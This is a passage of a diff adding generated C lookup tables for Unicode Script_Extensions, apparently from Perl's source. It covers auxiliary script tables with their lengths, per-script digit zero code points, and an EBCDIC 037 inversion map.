+	SCX_Hanunoo,
+	SCX_Tagalog,
+	SCX_Tagbanwa
+};
+
+static const SCX_enum SCX_AUX_TABLE_23[] = {
+	SCX_Mongolian,
+	SCX_Phags_Pa
+};
+
+static const SCX_enum SCX_AUX_TABLE_24[] = {
+	SCX_Devanagari,
+	SCX_Grantha
+};
+
+static const SCX_enum SCX_AUX_TABLE_25[] = {
+	SCX_Devanagari,
+	SCX_Sharada
+};
+
+static const SCX_enum SCX_AUX_TABLE_26[] = {
+	SCX_Devanagari,
+	SCX_Kannada,
+	SCX_Malayalam,
+	SCX_Tamil,
+	SCX_Telugu
+};
+
+static const SCX_enum SCX_AUX_TABLE_27[] = {
+	SCX_Devanagari,
+	SCX_Kannada
+};
+
+static const SCX_enum SCX_AUX_TABLE_28[] = {
+	SCX_Devanagari,
+	SCX_Grantha,
+	SCX_Latin
+};
+
+static const SCX_enum SCX_AUX_TABLE_29[] = {
+	SCX_Han,
+	SCX_Hanb,
+	SCX_Jpan,
+	SCX_Kore
+};
+
+static const SCX_enum SCX_AUX_TABLE_30[] = {
+	SCX_Bopomofo,
+	SCX_Han,
+	SCX_Hanb,
+	SCX_Hangul,
+	SCX_Hiragana,
+	SCX_Jpan,
+	SCX_Katakana,
+	SCX_Kore,
+	SCX_Yi
+};
+
+static const SCX_enum SCX_AUX_TABLE_31[] = {
+	SCX_Bopomofo,
+	SCX_Han,
+	SCX_Hanb,
+	SCX_Hangul,
+	SCX_Hiragana,
+	SCX_Jpan,
+	SCX_Katakana,
+	SCX_Kore
+};
+
+static const SCX_enum SCX_AUX_TABLE_32[] = {
+	SCX_Bopomofo,
+	SCX_Han,
+	SCX_Hanb,
+	SCX_Jpan,
+	SCX_Kore
+};
+
+static const SCX_enum SCX_AUX_TABLE_33[] = {
+	SCX_Hiragana,
+	SCX_Jpan,
+	SCX_Katakana
+};
+
+static const SCX_enum SCX_AUX_TABLE_34[] = {
+	SCX_Han,
+	SCX_Hanb,
+	SCX_Hiragana,
+	SCX_Jpan,
+	SCX_Katakana,
+	SCX_Kore
+};
+
+static const SCX_enum SCX_AUX_TABLE_35[] = {
+	SCX_Hiragana,
+	SCX_Jpan
+};
+
+static const SCX_enum SCX_AUX_TABLE_36[] = {
+	SCX_Jpan,
+	SCX_Katakana
+};
+
+static const SCX_enum SCX_AUX_TABLE_37[] = {
+	SCX_Devanagari,
+	SCX_Gujarati,
+	SCX_Gurmukhi,
+	SCX_Kaithi,
+	SCX_Kannada,
+	SCX_Khudawadi,
+	SCX_Mahajani,
+	SCX_Modi,
+	SCX_Takri,
+	SCX_Tirhuta
+};
+
+static const SCX_enum SCX_AUX_TABLE_38[] = {
+	SCX_Devanagari,
+	SCX_Gujarati,
+	SCX_Gurmukhi,
+	SCX_Kaithi,
+	SCX_Khudawadi,
+	SCX_Mahajani,
+	SCX_Modi,
+	SCX_Takri,
+	SCX_Tirhuta
+};
+
+static const SCX_enum SCX_AUX_TABLE_39[] = {
+	SCX_Bengali,
+	SCX_Devanagari
+};
+
+static const SCX_enum SCX_AUX_TABLE_40[] = {
+	SCX_Devanagari,
+	SCX_Tamil
+};
+
+static const SCX_enum SCX_AUX_TABLE_41[] = {
+	SCX_Kayah_Li,
+	SCX_Latin,
+	SCX_Myanmar
+};
+
+static const SCX_enum SCX_AUX_TABLE_42[] = {
+	SCX_Buginese,
+	SCX_Javanese
+};
+
+static const SCX_enum SCX_AUX_TABLE_43[] = {
+	SCX_Cypriot,
+	SCX_Linear_B
+};
+
+static const SCX_enum SCX_AUX_TABLE_44[] = {
+	SCX_Cypriot,
+	SCX_Linear_A,
+	SCX_Linear_B
+};
+
+static const SCX_enum SCX_AUX_TABLE_45[] = {
+	SCX_Arabic,
+	SCX_Coptic
+};
+
+static const SCX_enum * const SCX_AUX_TABLE_ptrs[] = {
+	NULL,	/* Placeholder */
+	SCX_AUX_TABLE_1,
+	SCX_AUX_TABLE_2,
+	SCX_AUX_TABLE_3,
+	SCX_AUX_TABLE_4,
+	SCX_AUX_TABLE_5,
+	SCX_AUX_TABLE_6,
+	SCX_AUX_TABLE_7,
+	SCX_AUX_TABLE_8,
+	SCX_AUX_TABLE_9,
+	SCX_AUX_TABLE_10,
+	SCX_AUX_TABLE_11,
+	SCX_AUX_TABLE_12,
+	SCX_AUX_TABLE_13,
+	SCX_AUX_TABLE_14,
+	SCX_AUX_TABLE_15,
+	SCX_AUX_TABLE_16,
+	SCX_AUX_TABLE_17,
+	SCX_AUX_TABLE_18,
+	SCX_AUX_TABLE_19,
+	SCX_AUX_TABLE_20,
+	SCX_AUX_TABLE_21,
+	SCX_AUX_TABLE_22,
+	SCX_AUX_TABLE_23,
+	SCX_AUX_TABLE_24,
+	SCX_AUX_TABLE_25,
+	SCX_AUX_TABLE_26,
+	SCX_AUX_TABLE_27,
+	SCX_AUX_TABLE_28,
+	SCX_AUX_TABLE_29,
+	SCX_AUX_TABLE_30,
+	SCX_AUX_TABLE_31,
+	SCX_AUX_TABLE_32,
+	SCX_AUX_TABLE_33,
+	SCX_AUX_TABLE_34,
+	SCX_AUX_TABLE_35,
+	SCX_AUX_TABLE_36,
+	SCX_AUX_TABLE_37,
+	SCX_AUX_TABLE_38,
+	SCX_AUX_TABLE_39,
+	SCX_AUX_TABLE_40,
+	SCX_AUX_TABLE_41,
+	SCX_AUX_TABLE_42,
+	SCX_AUX_TABLE_43,
+	SCX_AUX_TABLE_44,
+	SCX_AUX_TABLE_45
+};
+
+/* Parallel table to the above, giving the number of elements in each table
+ * pointed to */
+static const U8 SCX_AUX_TABLE_lengths[] = {
+	0,	/* Placeholder */
+	2	/* SCX_AUX_TABLE_1 */,
+	2	/* SCX_AUX_TABLE_2 */,
+	2	/* SCX_AUX_TABLE_3 */,
+	2	/* SCX_AUX_TABLE_4 */,
+	2	/* SCX_AUX_TABLE_5 */,
+	3	/* SCX_AUX_TABLE_6 */,
+	6	/* SCX_AUX_TABLE_7 */,
+	2	/* SCX_AUX_TABLE_8 */,
+	2	/* SCX_AUX_TABLE_9 */,
+	12	/* SCX_AUX_TABLE_10 */,
+	11	/* SCX_AUX_TABLE_11 */,
+	16	/* SCX_AUX_TABLE_12 */,
+	17	/* SCX_AUX_TABLE_13 */,
+	3	/* SCX_AUX_TABLE_14 */,
+	3	/* SCX_AUX_TABLE_15 */,
+	2	/* SCX_AUX_TABLE_16 */,
+	2	/* SCX_AUX_TABLE_17 */,
+	2	/* SCX_AUX_TABLE_18 */,
+	3	/* SCX_AUX_TABLE_19 */,
+	2	/* SCX_AUX_TABLE_20 */,
+	2	/* SCX_AUX_TABLE_21 */,
+	4	/* SCX_AUX_TABLE_22 */,
+	2	/* SCX_AUX_TABLE_23 */,
+	2	/* SCX_AUX_TABLE_24 */,
+	2	/* SCX_AUX_TABLE_25 */,
+	5	/* SCX_AUX_TABLE_26 */,
+	2	/* SCX_AUX_TABLE_27 */,
+	3	/* SCX_AUX_TABLE_28 */,
+	4	/* SCX_AUX_TABLE_29 */,
+	9	/* SCX_AUX_TABLE_30 */,
+	8	/* SCX_AUX_TABLE_31 */,
+	5	/* SCX_AUX_TABLE_32 */,
+	3	/* SCX_AUX_TABLE_33 */,
+	6	/* SCX_AUX_TABLE_34 */,
+	2	/* SCX_AUX_TABLE_35 */,
+	2	/* SCX_AUX_TABLE_36 */,
+	10	/* SCX_AUX_TABLE_37 */,
+	9	/* SCX_AUX_TABLE_38 */,
+	2	/* SCX_AUX_TABLE_39 */,
+	2	/* SCX_AUX_TABLE_40 */,
+	3	/* SCX_AUX_TABLE_41 */,
+	2	/* SCX_AUX_TABLE_42 */,
+	2	/* SCX_AUX_TABLE_43 */,
+	3	/* SCX_AUX_TABLE_44 */,
+	2	/* SCX_AUX_TABLE_45 */
+};
+
+/* This table, indexed by the script enum, gives the zero code point for that
+ * script; 0 if the script has multiple digit sequences.  Scripts without a
+ * digit sequence use ASCII [0-9], hence are marked '0' */
+static const UV script_zeros[] = {
+	'0',	/* Unknown */
+	0x1e950,	/* Adlam */
+	0x11730,	/* Ahom */
+	'0',	/* Anatolian_Hieroglyphs */
+	 0,	/* Arabic */
+	'0',	/* Armenian */
+	'0',	/* Avestan */
+	0x1b50,	/* Balinese */
+	'0',	/* Bamum */
+	'0',	/* Bassa_Vah */
+	'0',	/* Batak */
+	0x9e6,	/* Bengali */
+	0x11c50,	/* Bhaiksuki */
+	'0',	/* Bopomofo */
+	0x11066,	/* Brahmi */
+	'0',	/* Braille */
+	'0',	/* Buginese */
+	'0',	/* Buhid */
+	'0',	/* Canadian_Aboriginal */
+	'0',	/* Carian */
+	'0',	/* Caucasian_Albanian */
+	 0,	/* Chakma */
+	0xaa50,	/* Cham */
+	'0',	/* Cherokee */
+	 0,	/* Common */
+	'0',	/* Coptic */
+	'0',	/* Cuneiform */
+	'0',	/* Cypriot */
+	'0',	/* Cyrillic */
+	'0',	/* Deseret */
+	0x966,	/* Devanagari */
+	'0',	/* Duployan */
+	'0',	/* Egyptian_Hieroglyphs */
+	'0',	/* Elbasan */
+	'0',	/* Ethiopic */
+	'0',	/* Georgian */
+	'0',	/* Glagolitic */
+	'0',	/* Gothic */
+	0xbe6,	/* Grantha */
+	'0',	/* Greek */
+	0xae6,	/* Gujarati */
+	0xa66,	/* Gurmukhi */
+	'0',	/* Han */
+	'0',	/* Hanb */
+	'0',	/* Hangul */
+	'0',	/* Hanunoo */
+	'0',	/* Hatran */
+	'0',	/* Hebrew */
+	'0',	/* Hiragana */
+	'0',	/* Imperial_Aramaic */
+	 0,	/* Inherited */
+	'0',	/* Inscriptional_Pahlavi */
+	'0',	/* Inscriptional_Parthian */
+	0xa9d0,	/* Javanese */
+	'0',	/* Jpan */
+	0x966,	/* Kaithi */
+	0xce6,	/* Kannada */
+	'0',	/* Katakana */
+	0xa900,	/* Kayah_Li */
+	'0',	/* Kharoshthi */
+	0x17e0,	/* Khmer */
+	0xae6,	/* Khojki */
+	0x112f0,	/* Khudawadi */
+	'0',	/* Kore */
+	0xed0,	/* Lao */
+	'0',	/* Latin */
+	0x1c40,	/* Lepcha */
+	0x1946,	/* Limbu */
+	'0',	/* Linear_A */
+	'0',	/* Linear_B */
+	'0',	/* Lisu */
+	'0',	/* Lycian */
+	'0',	/* Lydian */
+	0x966,	/* Mahajani */
+	0xd66,	/* Malayalam */
+	'0',	/* Mandaic */
+	'0',	/* Manichaean */
+	'0',	/* Marchen */
+	0x11d50,	/* Masaram_Gondi */
+	0xabf0,	/* Meetei_Mayek */
+	'0',	/* Mende_Kikakui */
+	'0',	/* Meroitic_Cursive */
+	'0',	/* Meroitic_Hieroglyphs */
+	'0',	/* Miao */
+	0x11650,	/* Modi */
+	0x1810,	/* Mongolian */
+	0x16a60,	/* Mro */
+	0xa66,	/* Multani */
+	 0,	/* Myanmar */
+	'0',	/* Nabataean */
+	0x19d0,	/* New_Tai_Lue */
+	0x11450,	/* Newa */
+	0x7c0,	/* Nko */
+	'0',	/* Nushu */
+	'0',	/* Ogham */
+	0x1c50,	/* Ol_Chiki */
+	'0',	/* Old_Hungarian */
+	'0',	/* Old_Italic */
+	'0',	/* Old_North_Arabian */
+	'0',	/* Old_Permic */
+	'0',	/* Old_Persian */
+	'0',	/* Old_South_Arabian */
+	'0',	/* Old_Turkic */
+	0xb66,	/* Oriya */
+	'0',	/* Osage */
+	0x104a0,	/* Osmanya */
+	0x16b50,	/* Pahawh_Hmong */
+	'0',	/* Palmyrene */
+	'0',	/* Pau_Cin_Hau */
+	'0',	/* Phags_Pa */
+	'0',	/* Phoenician */
+	'0',	/* Psalter_Pahlavi */
+	'0',	/* Rejang */
+	'0',	/* Runic */
+	'0',	/* Samaritan */
+	0xa8d0,	/* Saurashtra */
+	0x111d0,	/* Sharada */
+	'0',	/* Shavian */
+	'0',	/* Siddham */
+	'0',	/* SignWriting */
+	0xde6,	/* Sinhala */
+	0x110f0,	/* Sora_Sompeng */
+	'0',	/* Soyombo */
+	0x1bb0,	/* Sundanese */
+	0x9e6,	/* Syloti_Nagri */
+	'0',	/* Syriac */
+	'0',	/* Tagalog */
+	'0',	/* Tagbanwa */
+	0x1040,	/* Tai_Le */
+	 0,	/* Tai_Tham */
+	'0',	/* Tai_Viet */
+	0x116c0,	/* Takri */
+	0xbe6,	/* Tamil */
+	'0',	/* Tangut */
+	0xc66,	/* Telugu */
+	0x660,	/* Thaana */
+	0xe50,	/* Thai */
+	0xf20,	/* Tibetan */
+	'0',	/* Tifinagh */
+	0x114d0,	/* Tirhuta */
+	'0',	/* Ugaritic */
+	0xa620,	/* Vai */
+	0x118e0	/* Warang_Citi */
+};
+
+static const SCX_enum _Perl_SCX_invmap[] = { /* for EBCDIC 037 */
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_use_AUX_TABLE_1,
+	SCX_Common,
+	SCX_Inherited,
+	SCX_Greek,
+	SCX_Inherited,
+	SCX_Greek,
+	SCX_Inherited,
+	SCX_Latin,
+	SCX_Greek,
+	SCX_Common,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Common,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Common,
+	SCX_Greek,
+	SCX_Common,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Coptic,
+	SCX_Greek,
+	SCX_Cyrillic,
+	SCX_use_AUX_TABLE_2,
+	SCX_use_AUX_TABLE_3,
+	SCX_use_AUX_TABLE_4,
+	SCX_use_AUX_TABLE_3,
+	SCX_Cyrillic,
+	SCX_Unknown,
+	SCX_Armenian,
+	SCX_Unknown,
+	SCX_Armenian,
+	SCX_Unknown,
+	SCX_Armenian,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_5,
+	SCX_Armenian,
+	SCX_Unknown,
+	SCX_Armenian,
+	SCX_Unknown,
+	SCX_Hebrew,
+	SCX_Unknown,
+	SCX_Hebrew,
+	SCX_Unknown,
+	SCX_Hebrew,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Common,
+	SCX_Arabic,
+	SCX_use_AUX_TABLE_6,
+	SCX_Arabic,
+	SCX_use_AUX_TABLE_6,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_use_AUX_TABLE_6,
+	SCX_Arabic,
+	SCX_use_AUX_TABLE_7,
+	SCX_Arabic,
+	SCX_use_AUX_TABLE_8,
+	SCX_Arabic,
+	SCX_use_AUX_TABLE_9,
+	SCX_Arabic,
+	SCX_use_AUX_TABLE_8,
+	SCX_Arabic,
+	SCX_Common,
+	SCX_Arabic,
+	SCX_Syriac,
+	SCX_Unknown,
+	SCX_Syriac,
+	SCX_Unknown,
+	SCX_Syriac,
+	SCX_Arabic,
+	SCX_Thaana,
+	SCX_Unknown,
+	SCX_Nko,
+	SCX_Unknown,
+	SCX_Samaritan,
+	SCX_Unknown,
+	SCX_Samaritan,
+	SCX_Unknown,
+	SCX_Mandaic,
+	SCX_Unknown,
+	SCX_Mandaic,
+	SCX_Unknown,
+	SCX_Syriac,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Common,
+	SCX_Arabic,
+	SCX_Devanagari,
+	SCX_use_AUX_TABLE_10,
+	SCX_use_AUX_TABLE_11,
+	SCX_Devanagari,
+	SCX_use_AUX_TABLE_12,
+	SCX_use_AUX_TABLE_13,
+	SCX_use_AUX_TABLE_14,
+	SCX_Devanagari,
+	SCX_Bengali,
+	SCX_Unknown,
+	SCX_Bengali,
+	SCX_Unknown,
+	SCX_Bengali,
+	SCX_Unknown,
+	SCX_Bengali,
+	SCX_Unknown,
+	SCX_Bengali,
+	SCX_Unknown,
+	SCX_Bengali,
+	SCX_Unknown,
+	SCX_Bengali,
+	SCX_Unknown,
+	SCX_Bengali,
+	SCX_Unknown,
+	SCX_Bengali,
+	SCX_Unknown,
+	SCX_Bengali,
+	SCX_Unknown,
+	SCX_Bengali,
+	SCX_Unknown,
+	SCX_Bengali,
+	SCX_Unknown,
+	SCX_Bengali,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_15,
+	SCX_Bengali,
+	SCX_Unknown,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_16,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_Gujarati,
+	SCX_Unknown,
+	SCX_Gujarati,
+	SCX_Unknown,
+	SCX_Gujarati,
+	SCX_Unknown,
+	SCX_Gujarati,
+	SCX_Unknown,
+	SCX_Gujarati,
+	SCX_Unknown,
+	SCX_Gujarati,
+	SCX_Unknown,
+	SCX_Gujarati,
+	SCX_Unknown,
+	SCX_Gujarati,
+	SCX_Unknown,
+	SCX_Gujarati,
+	SCX_Unknown,
+	SCX_Gujarati,
+	SCX_Unknown,
+	SCX_Gujarati,
+	SCX_Unknown,
+	SCX_Gujarati,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_17,
+	SCX_Gujarati,
+	SCX_Unknown,
+	SCX_Gujarati,
+	SCX_Unknown,
+	SCX_Oriya,
+	SCX_Unknown,
+	SCX_Oriya,
+	SCX_Unknown,
+	SCX_Oriya,
+	SCX_Unknown,
+	SCX_Oriya,
+	SCX_Unknown,
+	SCX_Oriya,
+	SCX_Unknown,
+	SCX_Oriya,
+	SCX_Unknown,
+	SCX_Oriya,
+	SCX_Unknown,
+	SCX_Oriya,
+	SCX_Unknown,
+	SCX_Oriya,
+	SCX_Unknown,
+	SCX_Oriya,
+	SCX_Unknown,
+	SCX_Oriya,
+	SCX_Unknown,
+	SCX_Oriya,
+	SCX_Unknown,
+	SCX_Oriya,
+	SCX_Unknown,
+	SCX_Oriya,
+	SCX_Unknown,
+	SCX_Tamil,
+	SCX_Unknown,
+	SCX_Tamil,
+	SCX_Unknown,
+	SCX_Tamil,
+	SCX_Unknown,
+	SCX_Tamil,
+	SCX_Unknown,
+	SCX_Tamil,
+	SCX_Unknown,
+	SCX_Tamil,
+	SCX_Unknown,
+	SCX_Tamil,
+	SCX_Unknown,
+	SCX_Tamil,
+	SCX_Unknown,
+	SCX_Tamil,
+	SCX_use_AUX_TABLE_18,
+	SCX_Unknown,
+	SCX_Tamil,
+	SCX_use_AUX_TABLE_18,
+	SCX_Tamil,
+	SCX_Unknown,
+	SCX_Tamil,
+	SCX_Unknown,
+	SCX_Tamil,
+	SCX_Unknown,
+	SCX_Tamil,
+	SCX_Unknown,
+	SCX_Tamil,
+	SCX_Unknown,
+	SCX_Tamil,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_18,
+	SCX_Tamil,
+	SCX_Unknown,
+	SCX_Telugu,
+	SCX_Unknown,
+	SCX_Telugu,
+	SCX_Unknown,
+	SCX_Telugu,
+	SCX_Unknown,
+	SCX_Telugu,
+	SCX_Unknown,
+	SCX_Telugu,
+	SCX_Unknown,
+	SCX_Telugu,
+	SCX_Unknown,
+	SCX_Telugu,
+	SCX_Unknown,
+	SCX_Telugu,
+	SCX_Unknown,
+	SCX_Telugu,
+	SCX_Unknown,
+	SCX_Telugu,
+	SCX_Unknown,
+	SCX_Telugu,
+	SCX_Unknown,
+	SCX_Telugu,
+	SCX_Unknown,
+	SCX_Telugu,
+	SCX_Kannada,
+	SCX_Unknown,
+	SCX_Kannada,
+	SCX_Unknown,
+	SCX_Kannada,
+	SCX_Unknown,
+	SCX_Kannada,
+	SCX_Unknown,
+	SCX_Kannada,
+	SCX_Unknown,
+	SCX_Kannada,
+	SCX_Unknown,
+	SCX_Kannada,
+	SCX_Unknown,
+	SCX_Kannada,
+	SCX_Unknown,
+	SCX_Kannada,
+	SCX_Unknown,
+	SCX_Kannada,
+	SCX_Unknown,
+	SCX_Kannada,
+	SCX_Unknown,
+	SCX_Kannada,
+	SCX_Unknown,
+	SCX_Kannada,
+	SCX_Unknown,
+	SCX_Kannada,
+	SCX_Unknown,
+	SCX_Malayalam,
+	SCX_Unknown,
+	SCX_Malayalam,
+	SCX_Unknown,
+	SCX_Malayalam,
+	SCX_Unknown,
+	SCX_Malayalam,
+	SCX_Unknown,
+	SCX_Malayalam,
+	SCX_Unknown,
+	SCX_Malayalam,
+	SCX_Unknown,
+	SCX_Malayalam,
+	SCX_Unknown,
+	SCX_Malayalam,
+	SCX_Unknown,
+	SCX_Sinhala,
+	SCX_Unknown,
+	SCX_Sinhala,
+	SCX_Unknown,
+	SCX_Sinhala,
+	SCX_Unknown,
+	SCX_Sinhala,
+	SCX_Unknown,
+	SCX_Sinhala,
+	SCX_Unknown,
+	SCX_Sinhala,
+	SCX_Unknown,
+	SCX_Sinhala,
+	SCX_Unknown,
+	SCX_Sinhala,
+	SCX_Unknown,
+	SCX_Sinhala,
+	SCX_Unknown,
+	SCX_Sinhala,
+	SCX_Unknown,
+	SCX_Sinhala,
+	SCX_Unknown,
+	SCX_Sinhala,
+	SCX_Unknown,
+	SCX_Thai,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Thai,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Tibetan,
+	SCX_Unknown,
+	SCX_Tibetan,
+	SCX_Unknown,
+	SCX_Tibetan,
+	SCX_Unknown,
+	SCX_Tibetan,
+	SCX_Unknown,
+	SCX_Tibetan,
+	SCX_Unknown,
+	SCX_Tibetan,
+	SCX_Common,
+	SCX_Tibetan,
+	SCX_Unknown,
+	SCX_Myanmar,
+	SCX_use_AUX_TABLE_19,
+	SCX_Myanmar,
+	SCX_Georgian,
+	SCX_Unknown,
+	SCX_Georgian,
+	SCX_Unknown,
+	SCX_Georgian,
+	SCX_Unknown,
+	SCX_Georgian,
+	SCX_use_AUX_TABLE_20,
+	SCX_Georgian,
+	SCX_use_AUX_TABLE_21,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Cherokee,
+	SCX_Unknown,
+	SCX_Cherokee,
+	SCX_Unknown,
+	SCX_Canadian_Aboriginal,
+	SCX_Ogham,
+	SCX_Unknown,
+	SCX_Runic,
+	SCX_Common,
+	SCX_Runic,
+	SCX_Unknown,
+	SCX_Tagalog,
+	SCX_Unknown,
+	SCX_Tagalog,
+	SCX_Unknown,
+	SCX_Hanunoo,
+	SCX_use_AUX_TABLE_22,
+	SCX_Unknown,
+	SCX_Buhid,
+	SCX_Unknown,
+	SCX_Tagbanwa,
+	SCX_Unknown,
+	SCX_Tagbanwa,
+	SCX_Unknown,
+	SCX_Tagbanwa,
+	SCX_Unknown,
+	SCX_Khmer,
+	SCX_Unknown,
+	SCX_Khmer,
+	SCX_Unknown,
+	SCX_Khmer,
+	SCX_Unknown,
+	SCX_Mongolian,
+	SCX_use_AUX_TABLE_23,
+	SCX_Mongolian,
+	SCX_use_AUX_TABLE_23,
+	SCX_Mongolian,
+	SCX_Unknown,
+	SCX_Mongolian,
+	SCX_Unknown,
+	SCX_Mongolian,
+	SCX_Unknown,
+	SCX_Mongolian,
+	SCX_Unknown,
+	SCX_Canadian_Aboriginal,
+	SCX_Unknown,
+	SCX_Limbu,
+	SCX_Unknown,
+	SCX_Limbu,
+	SCX_Unknown,
+	SCX_Limbu,
+	SCX_Unknown,
+	SCX_Limbu,
+	SCX_Unknown,
+	SCX_Limbu,
+	SCX_Tai_Le,
+	SCX_Unknown,
+	SCX_Tai_Le,
+	SCX_Unknown,
+	SCX_New_Tai_Lue,
+	SCX_Unknown,
+	SCX_New_Tai_Lue,
+	SCX_Unknown,
+	SCX_New_Tai_Lue,
+	SCX_Unknown,
+	SCX_New_Tai_Lue,
+	SCX_Khmer,
+	SCX_Buginese,
+	SCX_Unknown,
+	SCX_Buginese,
+	SCX_Tai_Tham,
+	SCX_Unknown,
+	SCX_Tai_Tham,
+	SCX_Unknown,
+	SCX_Tai_Tham,
+	SCX_Unknown,
+	SCX_Tai_Tham,
+	SCX_Unknown,
+	SCX_Tai_Tham,
+	SCX_Unknown,
+	SCX_Inherited,
+	SCX_Unknown,
+	SCX_Balinese,
+	SCX_Unknown,
+	SCX_Balinese,
+	SCX_Unknown,
+	SCX_Sundanese,
+	SCX_Batak,
+	SCX_Unknown,
+	SCX_Batak,
+	SCX_Lepcha,
+	SCX_Unknown,
+	SCX_Lepcha,
+	SCX_Unknown,
+	SCX_Lepcha,
+	SCX_Ol_Chiki,
+	SCX_Cyrillic,
+	SCX_Unknown,
+	SCX_Sundanese,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_24,
+	SCX_Devanagari,
+	SCX_use_AUX_TABLE_24,
+	SCX_Devanagari,
+	SCX_use_AUX_TABLE_25,
+	SCX_Devanagari,
+	SCX_use_AUX_TABLE_25,
+	SCX_use_AUX_TABLE_26,
+	SCX_Devanagari,
+	SCX_use_AUX_TABLE_25,
+	SCX_Devanagari,
+	SCX_use_AUX_TABLE_25,
+	SCX_Devanagari,
+	SCX_use_AUX_TABLE_24,
+	SCX_use_AUX_TABLE_27,
+	SCX_Devanagari,
+	SCX_Bengali,
+	SCX_use_AUX_TABLE_24,
+	SCX_Unknown,
+	SCX_Latin,
+	SCX_Greek,
+	SCX_Cyrillic,
+	SCX_Latin,
+	SCX_Greek,
+	SCX_Latin,
+	SCX_Greek,
+	SCX_Latin,
+	SCX_Cyrillic,
+	SCX_Latin,
+	SCX_Greek,
+	SCX_Inherited,
+	SCX_Unknown,
+	SCX_Inherited,
+	SCX_Latin,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Inherited,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Latin,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Inherited,
+	SCX_use_AUX_TABLE_28,
+	SCX_Unknown,
